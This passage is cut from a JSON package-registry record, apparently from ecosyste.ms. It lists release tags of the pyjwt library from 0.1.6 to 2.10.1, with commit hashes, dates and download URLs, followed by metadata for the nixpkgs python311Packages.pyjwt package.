jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.280Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pyjwt?channel=24.11\u0026repository_url=https://channels.nixos.org/nixos-24.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","d